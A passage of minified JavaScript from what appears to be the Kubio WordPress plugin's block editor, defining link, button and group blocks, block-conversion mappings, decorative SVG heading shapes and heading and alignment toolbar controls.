0:s.current,children:(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:o,children:(0,Je.jsx)(ut.LinkControlWithData,{})})});return(0,Je.jsxs)(Je.Fragment,{children:[a&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.ToolbarButton,{name:"link",icon:ik,title:(0,We.__)("Link","kubio"),onClick:()=>(r(!0),!1),ref:s})})}),l]}),(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.ToolbarButton,{icon:Da,title:(0,We.__)("Add","kubio"),onClick:()=>{n.duplicate({unlink:!0})}})})})]})},{getLinkAttributes:sk}=ut.LinkConfig,lk=(0,We.__)("Start writing","kubio"),uk=e=>{e.preventDefault()},ck=({blockProps:e,value:t,onChange:o})=>(e=(0,Ae.omit)(e,["data-block","data-type","data-title","id"]),(0,Je.jsx)(st.RichText,{identifier:"content",...e,value:t,onChange:o,allowedFormats:Ne.allowedRichTextFormats,placeholder:lk})),pk=({computed:e,dataHelper:t,StyledElements:o,isSelected:n,setAttributes:a,clientId:i,withToolbar:r=!0,showToolbarLinkButton:s=!0})=>{const{showBeforeIcon:l,showAfterIcon:u,text:c}=e,p=(0,Ne.useBlockElementProps)(fu),d=(0,Me.useCallback)((e=>{a({text:e})}),[a]),m=(0,Me.useRef)(),h=(0,Me.useRef)();return(({clientId:e,containerRef:t,bindToRef:o,offset:n=0})=>{const[a,i]=(0,Me.useState)({}),r=(0,Me.useRef)(),{ownerDocument:s}=t.current||{},l=(0,De.useThrottle)((0,Me.useCallback)((()=>{const e=((e,t,o)=>e&&t?((e,t,o=0)=>{const n=e.getBoundingClientRect(),a=t.getBoundingClientRect();return{left:a.x-n.x-o,top:a.y-n.y-o,width:a.width+2*o,height:a.height+2*o}})(e,t,o):{})(t.current,o.current,n);Fm()(a,e)||i(e)}),[a]),1e3);(0,Me.useLayoutEffect)((()=>{if(s)return r.current=s.createElement("style"),s.head.appendChild(r.current),()=>{var e,t;null===(e=(t=r.current).remove)||void 0===e||e.call(t)}}),[s]),(0,Me.useLayoutEffect)((()=>{var e;if(null!=t&&t.current&&null!=o&&o.current)return null==t||null===(e=t.current)||void 0===e||e.addEventListener("mouseover",l),()=>{var e;null==t||null===(e=t.current)||void 0===e||e.removeEventListener("mouseover",l)}}),[]),(0,Me.useEffect)((()=>{let t="";r.current&&((0,Ae.isEmpty)(a)||((0,Ae.each)(a,((e,o)=>{t+=`${o}:${e}px; !important`})),r.current.textContent=`#block-${e}:after{ ${t} }`))}),[a])})({clientId:i,containerRef:h,bindToRef:m,offset:n?2:0}),(0,Je.jsxs)(Je.Fragment,{children:[n&&r&&(0,Je.jsx)(rk,{dataHelper:t,isSelected:n,clientId:i,showToolbarLinkButton:s}),(0,Je.jsx)(o.Outer,{ref:h,children:(0,Je.jsxs)(o.Link,{onClick:uk,ref:m,children:[(0,Je.jsx)(o.Icon,{tag:ut.CanvasIcon,shouldRender:l}),n&&(0,Je.jsx)(ck,{blockProps:p,value:c,onChange:d}),!n&&(0,Je.jsx)(o.Text,{dangerouslySetInnerHTML:{__html:c||lk}}),(0,Je.jsx)(o.Icon,{tag:ut.CanvasIcon,shouldRender:u})]})})]})},dk=(0,De.compose)((0,Ne.withColibriDataAutoSave)(((e,t)=>{const o=e.getAttribute("link"),n=sk(o),a=e.getAttribute("icon"),i=e.getProp("showIcon"),r=e.getProp("iconPosition"),s=Kp.iconPosition.values;return{link:o,icon:a,showBeforeIcon:i&&r===s.BEFORE,showAfterIcon:i&&r===s.AFTER,text:e.getAttribute("text"),linkAttributes:n}})),(0,Ne.withStyledElements)((({computed:e}={})=>{var t;return{[ku]:{name:null==e||null===(t=e.icon)||void 0===t?void 0:t.name},[yu]:{}}}))),mk=dk(pk),hk=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(tk,{}),(0,Je.jsx)(ak,{}),(0,Je.jsx)(mk,{...e})]})})),bk={name:"kubio/link",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"this is a link"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:""}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{showIcon:!1,iconPosition:"before"},style:{descendants:{icon:{size:{value:16},margin:{left:{value:10},right:{value:10}}}}}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"span"}},link:{default:!0,prefixWithTag:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}}}},{LINK_GROUP:gk}=hn,yk=(0,Sn.extendBlockMeta)(bk,{title:(0,We.__)("Link","kubio"),icon:Tn.BlockIcons.Link,keywords:[],parent:[gk],apiVersion:2,supports:{kubio:{elementsByName:_u},reusable:!1,html:!1},edit:hk,save:({attributes:e})=>(0,Je.jsx)(st.RichText.Content,{value:e.text})}),kk=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(np,{panelLabel:(0,We.__)("Link Group","kubio"),groupListLabel:(0,We.__)("Link list","kubio")})}),fk=[hn.LINK],_k=e=>{const{StyledElements:t,innerBlocksPropsOverwrite:o}=e,n=bn({},{renderAppender:!1,orientation:"horizontal",...o});return(0,Je.jsx)(t.Outer,{children:(0,Je.jsx)(t.Spacing,{...n})})},vk=()=>e=>{const t=e.getPropByMedia("layout.hSpace",{});return{[Qc]:jn.dynamicStylesTransforms.hSpace(t),[Zc]:jn.dynamicStylesTransforms.hSpaceParent(t)}},xk=vk(),Ck=e=>(0,De.createHigherOrderComponent)((t=>o=>(0,Je.jsx)(t,{...o,innerBlocksPropsOverwrite:e})))(_k),Ik=(0,De.compose)((0,Ne.withRemoveOnEmptyInnerBlocks)(),(0,Ne.withColibriData)(je().noop),(0,Ne.withDynamicStyles)(xk),(0,Ne.withStyledElements)(je().noop))(Ck({allowedBlocks:fk})),Ek={name:"kubio/linkgroup",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",SPACING:"spacing",H_SPACE:"hspace",H_SPACE_GROUP:"hSpaceGroup"},elementsByName:{outer:{props:{className:["h-x-container"]},wrapper:!0,default:!0},spacing:{props:{className:["h-x-container-inner"]}},hspace:{selector:" > .h-x-container-inner > *"},hSpaceGroup:{selector:" > .h-x-container-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"spacing"},children:[{type:"wp:InnerBlocks"}]}]}}}},Tk=(0,Sn.extendBlockMeta)(Ek,{title:(0,We.__)("Link Group","kubio"),description:(0,We.__)("Add multiple stylish links to your content. Adjust them while in a normal or hovered state.","kubio"),icon:Tn.BlockIcons.Link,keywords:[(0,We.__)("link","kubio"),(0,We.__)("links","kubio"),(0,We.__)("anchor","kubio")],apiVersion:2,supports:{kubio:{elementsByName:Jc},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(kk,{}),(0,Je.jsx)(Ik,{...e})]})},save:function(){return(0,Je.jsx)(st.InnerBlocks.Content,{})},variations:[{name:"default",title:(0,We.__)("Link Group","kubio"),icon:Tn.BlockIcons.Link,innerBlocks:[[hn.LINK,{},[]]],isDefault:!0}],innerBlocksDisableInBetweenInserter:!0}),Sk=({withAlign:e=!0,withRecommendationsControl:t=!1,buttonPropsAfter:o,buttonPropsBefore:n})=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(wp,{withAlign:e,buttonPropsAfter:o,buttonPropsBefore:n,withRecommendationsControl:t})}),{getLinkAttributes:wk}=ut.LinkConfig,Pk=({postId:e,dataHelper:t,buttonClientId:o,blockNameToSelect:n})=>{const[a,i,r]=(0,Bt.useEntityBlockEditor)("postType","kubio_recommend_page",{id:e}),{selectBlock:s}=(0,Le.useDispatch)("core/block-editor"),l=(0,Me.useCallback)((()=>{t.setSessionProp("viewRecommendationPage",!1),s(o)}),[o,t,s]),{ownerDocument:u}=(0,Ne.useOwnerDocumentContext)(),c=bn({},{value:a,onInput:i,onChange:r,__experimentalLayout:{type:"default"}});return(0,Me.useEffect)((()=>{setTimeout((()=>{(()=>{var e;if(!n)return;const t=null==u||null===(e=u.querySelector)||void 0===e?void 0:e.call(u,`.kubio-recommendation-page-iframe__content [data-kubio="${n}"]`);if(!t)return;const o=t.getAttribute("data-block");o&&s(o)})()}),0)}),[]),(0,Je.jsxs)("div",{className:"kubio-recommendation-page-iframe__wrapper kubio-recommendation-page-iframe__wrapper--is-visible",children:[(0,Je.jsx)("span",{onClick:l,className:"kubio-recommendation-page-iframe__close",children:(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512",children:(0,Je.jsx)(Bn.Path,{d:"M342.6 150.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 210.7 86.6 105.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L146.7 256 41.4 361.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L192 301.3 297.4 406.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L237.3 256 342.6 150.6z"})})}),(0,Je.jsx)("div",{className:"kubio-recommendation-page-iframe__content",children:(0,Je.jsx)("div",{...c})})]})},Ak=(0,De.compose)((0,Ne.withColibriDataAutoSave)(((e,t)=>{const o=e.getAttribute("link"),n=wk(o),a=e.getAttribute("icon"),i=e.getProp("showIcon"),r=e.getProp("iconPosition"),s=Cp.iconPosition.values;return{link:o,icon:a,showBeforeIcon:i&&r===s.BEFORE,showAfterIcon:i&&r===s.AFTER,text:e.getAttribute("text"),linkAttributes:n}})),(0,Ne.withStyledElements)((({computed:e}={})=>{var t;return{[Cu]:{name:null==e||null===(t=e.icon)||void 0===t?void 0:t.name},[xu]:{}}})),(0,De.createHigherOrderComponent)((e=>t=>{const{clientId:o,withToolbar:n,attributes:a}=t,{getBlockParents:i,getBlock:r}=(0,Le.useSelect)("core/block-editor"),s=i(o),l=r(s[s.length-1]),u=(null==l?void 0:l.name)===hn.VIDEO;let c=null;const[p]=(0,op.useSessionProp)(t.clientId,"viewRecommendationPage",!1),d=(0,Ne.useRootElementContext)(),m=(0,Ae.get)(a,"linkType",null),h="link"===m;let b=null;switch(m){case"fluent-booking":b="kubio/shortcode",c=(0,Ae.get)(a,"recommendation.fluentBooking.recommendationPageId",null);break;case"contact-form":b="kubio/contact",c=(0,Ae.get)(a,"recommendation.contactForm.recommendationPageId",null)}let g=(0,Je.jsx)(Je.Fragment,{});return d&&c&&p&&(g=(0,Je.jsx)(Pk,{postId:c,dataHelper:t.dataHelper,buttonClientId:o,blockNameToSelect:b})),(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(e,{...t,withToolbar:n&&!u,showToolbarLinkButton:h}),!!d&&(0,Me.createPortal)(g,d)]})}),"checkParent"),(0,Ne.withRedirectSelectionToParentCondition)([hn.DOWN_ARROW])),jk=Ak(pk),Bk=(Ak(pk),()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(Yp,{}),(0,Je.jsx)(Zp,{})]})),Nk=(e=!1)=>function(t){const{buttonPropsBefore:o=null,buttonPropsAfter:n=null,withAlign:a=!0}=t;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Sk,{buttonPropsBefore:o,buttonPropsAfter:n,withAlign:a,withRecommendationsControl:e}),(0,Je.jsx)(Bk,{}),(0,Je.jsx)(jk,{...t})]})},Ok=Nk(),Rk=(0,Ne.withPropsChecker)(Nk(!0)),Dk=(0,Ne.withPropsChecker)(Ok);(0,Pe.addFilter)("kubio.useInheritTextAlign",hn.BUTTON,((e,t=!0)=>"kubio/button"!==e&&t));const Lk={name:"kubio/button",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Button text"},link:{type:"object"},linkType:{type:"string",default:"link"},recommendation:{type:"object",default:{}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:null}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{justifyContent:"center",typography:{decoration:"none"}},icon:{margin:{left:{value:10},right:{value:10}}}}},props:{buttonSize:"medium",buttonWidth:"fitToContent",showIcon:!1,iconPosition:"before"}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text",RECOMMENDATION_PAGE_IFRAME:"recommendationPageIframe"},elementsByName:{outer:{wrapper:!0,props:{tag:"span",className:["kubio-button-container"]}},link:{default:!0,prefixWithTag:!0,useWrapperPrefix:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]},{type:"element",props:{name:"recommendationPageIframe"}}]}}}},{BUTTON_GROUP:Mk,VIDEO:Wk,DOWN_ARROW:Hk}=hn,Gk=(0,Sn.extendBlockMeta)(Lk,{title:(0,We.__)("Button","kubio"),icon:Tn.BlockIcons.Button,keywords:[(0,We.__)("button","kubio"),(0,We.__)("cta","kubio"),(0,We.__)("call to action","kubio")],parent:[Mk,Wk,Hk],apiVersion:2,supports:{kubio:{elementsByName:Iu},reusable:!1,html:!1},edit:Rk,save:({attributes:e})=>(0,Je.jsx)(st.RichText.Content,{value:e.text})}),Uk=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(np,{panelLabel:(0,We.__)("Button Group","kubio"),addButtonText:(0,We.__)("Add button","kubio"),alignLabel:(0,We.__)("Button group align","kubio"),spaceBetweenLabel:(0,We.__)("Space between buttons","kubio")})}),Fk=[hn.BUTTON],zk=vk(),Vk=(0,De.compose)((0,Ne.withRemoveOnEmptyInnerBlocks)(),(0,Ne.withColibriData)(je().noop),(0,Ne.withDynamicStyles)(zk),(0,Ne.withStyledElements)(je().noop))(Ck({allowedBlocks:Fk})),Yk=(0,We.__)("Create enticing calls to action. Fine-tune them until you get the right colors, contrast, and spacing.","kubio"),$k={name:"kubio/buttongroup",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",SPACING:"spacing",H_SPACE:"hspace",H_SPACE_GROUP:"hSpaceGroup",ICON:"icon"},elementsByName:{outer:{props:{className:["h-x-container"]},wrapper:!0,default:!0},spacing:{props:{className:["h-x-container-inner"]}},hspace:{selector:" > .h-x-container-inner > *"},hSpaceGroup:{selector:" > .h-x-container-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"spacing"},children:[{type:"wp:InnerBlocks"}]}]}}}},Kk=(0,Sn.extendBlockMeta)($k,{title:(0,We.__)("Buttons","kubio"),icon:Tn.BlockIcons.Button,keywords:[(0,We.__)("button","kubio"),(0,We.__)("cta","kubio"),(0,We.__)("call to action","kubio")],apiVersion:2,supports:{kubio:{elementsByName:Jc,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Uk,{}),(0,Je.jsx)(Vk,{...e})]})},save:function(){return(0,Je.jsx)(st.InnerBlocks.Content,{})},innerBlocksDisableInBetweenInserter:!0,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:Yk}:e}),qk=window.kubio.log,Xk={"core/paragraph":{block:hn.TEXT,attributes:({content:e})=>({content:e})},"core/heading":{block:hn.HEADING,attributes:({content:e,level:t})=>({content:e,kubio:{props:{level:t}}})},"core/separator":{block:hn.DIVIDER,attributes:()=>({kubio:{props:{type:"line"}},iconName:"font-awesome/star"})},"core/image":{block:hn.IMAGE,attributes:({url:e,alt:t,caption:o})=>({alt:t,caption:o.trim().length?o:"",captionEnabled:!!o.trim().length,url:e})},[hn.TEXT]:{block:hn.TEXT},[hn.HEADING]:{block:hn.HEADING}},Qk=(e,t,{originalAttributes:o,originalName:n,newStyleRefs:a=!0})=>(e||[]).map((e=>{var i,r;if(e.clientId===t)return e;const s=null===(i=Xk[e.name])||void 0===i?void 0:i.block,l=null===(r=Xk[e.name])||void 0===r?void 0:r.attributes;if(s===e.name)return e;if(!s)return qk.Log.info("unhandled on replace for block",e.name,"in",n),e;const u=s===n?o:{},c=je().merge(u,l?l(e.attributes):{}),p=(0,gt.createBlock)(s,c,Qk(e.innerBlocks,t,{originalAttributes:o,originalName:n,newStyleRefs:a}));return a&&(0,Ze.refreshBlockStyleRefs)(p),p})),Zk=({clientId:e,attributes:t,name:o})=>(n,a,i)=>{const{replaceBlocks:r,__unstableMarkLastChangeAsPersistent:s}=(0,Le.dispatch)("core/block-editor");n.length&&!(0,gt.isUnmodifiedDefaultBlock)(n[n.length-1])&&s();const l=Qk(n,e,{originalAttributes:t,originalName:o});je().forEach(l,((e,t)=>{l[t]=(0,Ze.refreshBlockStyleRefs)(e)})),r([e],l,a,i)},Jk=({attributes:e,name:t,clientId:o})=>(n,a)=>{let i;(a||n)&&(i={...e,content:n});const r=(0,gt.createBlock)(t,i);return a&&(r.clientId=o),r};var ef=o(3150),tf=o.n(ef);const of={circle:(0,Je.jsx)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none",children:(0,Je.jsx)("path",{d:"M325,18C228.7-8.3,118.5,8.3,78,21C22.4,38.4,4.6,54.6,5.6,77.6c1.4,32.4,52.2,54,142.6,63.7 c66.2,7.1,212.2,7.5,273.5-8.3c64.4-16.6,104.3-57.6,33.8-98.2C386.7-4.9,179.4-1.4,126.3,20.7"})}),curly:(0,Je.jsx)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none",children:(0,Je.jsx)("path",{d:"M3,146.1c17.1-8.8,33.5-17.8,51.4-17.8c15.6,0,17.1,18.1,30.2,18.1c22.9,0,36-18.6,53.9-18.6 c17.1,0,21.3,18.5,37.5,18.5c21.3,0,31.8-18.6,49-18.6c22.1,0,18.8,18.8,36.8,18.8c18.8,0,37.5-18.6,49-18.6c20.4,0,17.1,19,36.8,19 c22.9,0,36.8-20.6,54.7-18.6c17.7,1.4,7.1,19.5,33.5,18.8c17.1,0,47.2-6.5,61.1-15.6"})}),underline:(0,Je.jsx)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none",children:(0,Je.jsx)("path",{d:"M7.7,145.6C109,125,299.9,116.2,401,121.3c42.1,2.2,87.6,11.8,87.3,25.7"})}),double:(0,Je.jsxs)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none",children:[(0,Je.jsx)("path",{d:"M8.4,143.1c14.2-8,97.6-8.8,200.6-9.2c122.3-0.4,287.5,7.2,287.5,7.2"}),(0,Je.jsx)("path",{d:"M8,19.4c72.3-5.3,162-7.8,216-7.8c54,0,136.2,0,267,7.8"})]}),"double-underline":(0,Je.jsxs)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none",children:[(0,Je.jsx)("path",{d:"M5,125.4c30.5-3.8,137.9-7.6,177.3-7.6c117.2,0,252.2,4.7,312.7,7.6"}),(0,Je.jsx)("path",{d:"M26.9,143.8c55.1-6.1,126-6.3,162.2-6.1c46.5,0.2,203.9,3.2,268.9,6.4"})]}),"underline-zigzag":(0,Je.jsx)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none",children:(0,Je.jsx)("path",{d:"M9.3,127.3c49.3-3,150.7-7.6,199.7-7.4c121.9,0.4,189.9,0.4,282.3,7.2C380.1,129.6,181.2,130.6,70,139 c82.6-2.9,254.2-1,335.9,1.3c-56,1.4-137.2-0.3-197.1,9"})}),diagonal:(0,Je.jsx)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none",children:(0,Je.jsx)("path",{d:"M13.5,15.5c131,13.7,289.3,55.5,475,125.5"})}),strikethrough:(0,Je.jsx)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none",children:(0,Je.jsx)("path",{d:"M3,75h493.5"})}),x:(0,Je.jsxs)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 150",preserveAspectRatio:"none",children:[(0,Je.jsx)("path",{d:"M497.4,23.9C301.6,40,155.9,80.6,4,144.4"}),(0,Je.jsx)("path",{d:"M14.1,27.6c204.5,20.3,393.8,74,467.3,111.7"})]})},nf=({fancy:e={}})=>{const{fancyWord:t,bringToFront:o,typeShape:n}=e,a=["text-animation-fancy"];o&&a.push("bring-to-front");const i=je().get(of,n);return(0,Je.jsx)("span",{className:"fancy-title-headline",children:(0,Je.jsxs)("span",{className:"text-wrapper-fancy",children:[(0,Je.jsx)("span",{className:Ge()(a),children:t}),i]})})},af=({fancy:e})=>{const{animationDuration:t,typeAnimation:o}=e,n=sf(e);return(0,Je.jsx)("span",{...(0,Ne.useJSComponentProps)("fancy-title",{animationDuration:null==t?void 0:t.value,typeAnimation:o}),children:(0,Je.jsx)("span",{className:`ah-headline ${o}`,children:(0,Je.jsx)("span",{style:"position: relative",className:"ah-words-wrapper",children:n})})})},rf=({fancy:e})=>{var t;return(0,Je.jsx)("span",{"data-kubio-component":"fancy-title","data-animation-duration":(null==e||null===(t=e.animationDuration)||void 0===t?void 0:t.value)+"","data-type-animation-duration-in":(null==e?void 0:e.type.animationDuration.in.value)+"","data-type-animation-duration-out":(null==e?void 0:e.type.animationDuration.out.value)+"","data-type-animation":null==e?void 0:e.typeAnimation,"data-word":null==e?void 0:e.fancyWord,"data-rotating-words":null==e?void 0:e.fancyRotatingWords,"data-animation-type":"true",children:null==e?void 0:e.fancyWord})},sf=({fancyWord:e,fancyRotatingWords:t})=>{const o=t.split("\n")||[];return o.push(e),o.map(((e,t)=>(0,Je.jsx)("b",{className:Ge()({"is-visible":0===t}),children:e},t)))},lf="text",uf="svgShape",cf={[lf]:{label:(0,We.__)("Text","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY_FOR_HEADING,jn.StylesEnum.TEXT_SHADOW],states:jn.StatesPresetsEnum.BASIC}},[uf]:{internal:!0}},pf=window.kubio.formatLibrary,df=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M13 5.5H4V4h9v1.5Zm7 7H4V11h16v1.5Zm-7 7H4V18h9v1.5Z"})}),mf=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M7.5 5.5h9V4h-9v1.5Zm-3.5 7h16V11H4v1.5Zm3.5 7h9V18h-9v1.5Z"})}),hf=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M11.111 5.5H20V4h-8.889v1.5ZM4 12.5h16V11H4v1.5Zm7.111 7H20V18h-8.889v1.5Z"})}),bf=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M4 12.8h16v-1.5H4v1.5zm0 7h12.4v-1.5H4v1.5zM4 4.3v1.5h16V4.3H4z"})});function gf({level:e,isPressed:t=!1}){const o={1:"M9 5h2v10H9v-4H5v4H3V5h2v4h4V5zm6.6 0c-.6.9-1.5 1.7-2.6 2v1h2v7h2V5h-1.4z",2:"M7 5h2v10H7v-4H3v4H1V5h2v4h4V5zm8 8c.5-.4.6-.6 1.1-1.1.4-.4.8-.8 1.2-1.3.3-.4.6-.8.9-1.3.2-.4.3-.8.3-1.3 0-.4-.1-.9-.3-1.3-.2-.4-.4-.7-.8-1-.3-.3-.7-.5-1.2-.6-.5-.2-1-.2-1.5-.2-.4 0-.7 0-1.1.1-.3.1-.7.2-1 .3-.3.1-.6.3-.9.5-.3.2-.6.4-.8.7l1.2 1.2c.3-.3.6-.5 1-.7.4-.2.7-.3 1.2-.3s.9.1 1.3.4c.3.3.5.7.5 1.1 0 .4-.1.8-.4 1.1-.3.5-.6.9-1 1.2-.4.4-1 .9-1.6 1.4-.6.5-1.4 1.1-2.2 1.6V15h8v-2H15z",3:"M12.1 12.2c.4.3.8.5 1.2.7.4.2.9.3 1.4.3.5 0 1-.1 1.4-.3.3-.1.5-.5.5-.8 0-.2 0-.4-.1-.6-.1-.2-.3-.3-.5-.4-.3-.1-.7-.2-1-.3-.5-.1-1-.1-1.5-.1V9.1c.7.1 1.5-.1 2.2-.4.4-.2.6-.5.6-.9 0-.3-.1-.6-.4-.8-.3-.2-.7-.3-1.1-.3-.4 0-.8.1-1.1.3-.4.2-.7.4-1.1.6l-1.2-1.4c.5-.4 1.1-.7 1.6-.9.5-.2 1.2-.3 1.8-.3.5 0 1 .1 1.6.2.4.1.8.3 1.2.5.3.2.6.5.8.8.2.3.3.7.3 1.1 0 .5-.2.9-.5 1.3-.4.4-.9.7-1.5.9v.1c.6.1 1.2.4 1.6.8.4.4.7.9.7 1.5 0 .4-.1.8-.3 1.2-.2.4-.5.7-.9.9-.4.3-.9.4-1.3.5-.5.1-1 .2-1.6.2-.8 0-1.6-.1-2.3-.4-.6-.2-1.1-.6-1.6-1l1.1-1.4zM7 9H3V5H1v10h2v-4h4v4h2V5H7v4z",4:"M9 15H7v-4H3v4H1V5h2v4h4V5h2v10zm10-2h-1v2h-2v-2h-5v-2l4-6h3v6h1v2zm-3-2V7l-2.8 4H16z",5:"M12.1 12.2c.4.3.7.5 1.1.7.4.2.9.3 1.3.3.5 0 1-.1 1.4-.4.4-.3.6-.7.6-1.1 0-.4-.2-.9-.6-1.1-.4-.3-.9-.4-1.4-.4H14c-.1 0-.3 0-.4.1l-.4.1-.5.2-1-.6.3-5h6.4v1.9h-4.3L14 8.8c.2-.1.5-.1.7-.2.2 0 .5-.1.7-.1.5 0 .9.1 1.4.2.4.1.8.3 1.1.6.3.2.6.6.8.9.2.4.3.9.3 1.4 0 .5-.1 1-.3 1.4-.2.4-.5.8-.9 1.1-.4.3-.8.5-1.3.7-.5.2-1 .3-1.5.3-.8 0-1.6-.1-2.3-.4-.6-.2-1.1-.6-1.6-1-.1-.1 1-1.5 1-1.5zM9 15H7v-4H3v4H1V5h2v4h4V5h2v10z",6:"M9 15H7v-4H3v4H1V5h2v4h4V5h2v10zm8.6-7.5c-.2-.2-.5-.4-.8-.5-.6-.2-1.3-.2-1.9 0-.3.1-.6.3-.8.5l-.6.9c-.2.5-.2.9-.2 1.4.4-.3.8-.6 1.2-.8.4-.2.8-.3 1.3-.3.4 0 .8 0 1.2.2.4.1.7.3 1 .6.3.3.5.6.7.9.2.4.3.8.3 1.3s-.1.9-.3 1.4c-.2.4-.5.7-.8 1-.4.3-.8.5-1.2.6-1 .3-2 .3-3 0-.5-.2-1-.5-1.4-.9-.4-.4-.8-.9-1-1.5-.2-.6-.3-1.3-.3-2.1s.1-1.6.4-2.3c.2-.6.6-1.2 1-1.6.4-.4.9-.7 1.4-.9.6-.3 1.1-.4 1.7-.4.7 0 1.4.1 2 .3.5.2 1 .5 1.4.8 0 .1-1.3 1.4-1.3 1.4zm-2.4 5.8c.2 0 .4 0 .6-.1.2 0 .4-.1.5-.2.1-.1.3-.3.4-.5.1-.2.1-.5.1-.7 0-.4-.1-.8-.4-1.1-.3-.2-.7-.3-1.1-.3-.3 0-.7.1-1 .2-.4.2-.7.4-1 .7 0 .3.1.7.3 1 .1.2.3.4.4.6.2.1.3.3.5.3.2.1.5.2.7.1z"};return o.hasOwnProperty(e)?(0,Je.jsx)(Re.SVG,{width:"24",height:"24",viewBox:"0 0 20 20",xmlns:"http://www.w3.org/2000/svg",isPressed:t,children:(0,Je.jsx)(Re.Path,{d:o[e]})}):null}const yf=[1,2,3,4,5,6],kf={className:"block-library-heading-level-dropdown"};function ff({selectedLevel:e,onChange:t}){return(0,Je.jsx)(Re.ToolbarDropdownMenu,{popoverProps:kf,icon:(0,Je.jsx)(gf,{level:e}),label:(0,We.__)("Change heading level","kubio"),controls:yf.map((o=>{{const n=o===e;return{icon:(0,Je.jsx)(gf,{level:o,isPressed:n}),label:(0,We.sprintf)(// translators: %d: heading level e.g: "1", "2", "3" // translators: %d: heading level e.g: "1", "2", "3" (0,We.__)("Heading %d","kubio"),o),isActive:n,onClick(){t(o)}}}}))})}const _f=[{icon:df,title:(0,We.__)("Align text left","kubio"),align:"left"},{icon:mf,title:(0,We.__)("Align text center","kubio"),align:"center"},{icon:hf,title:(0,We.__)("Align text 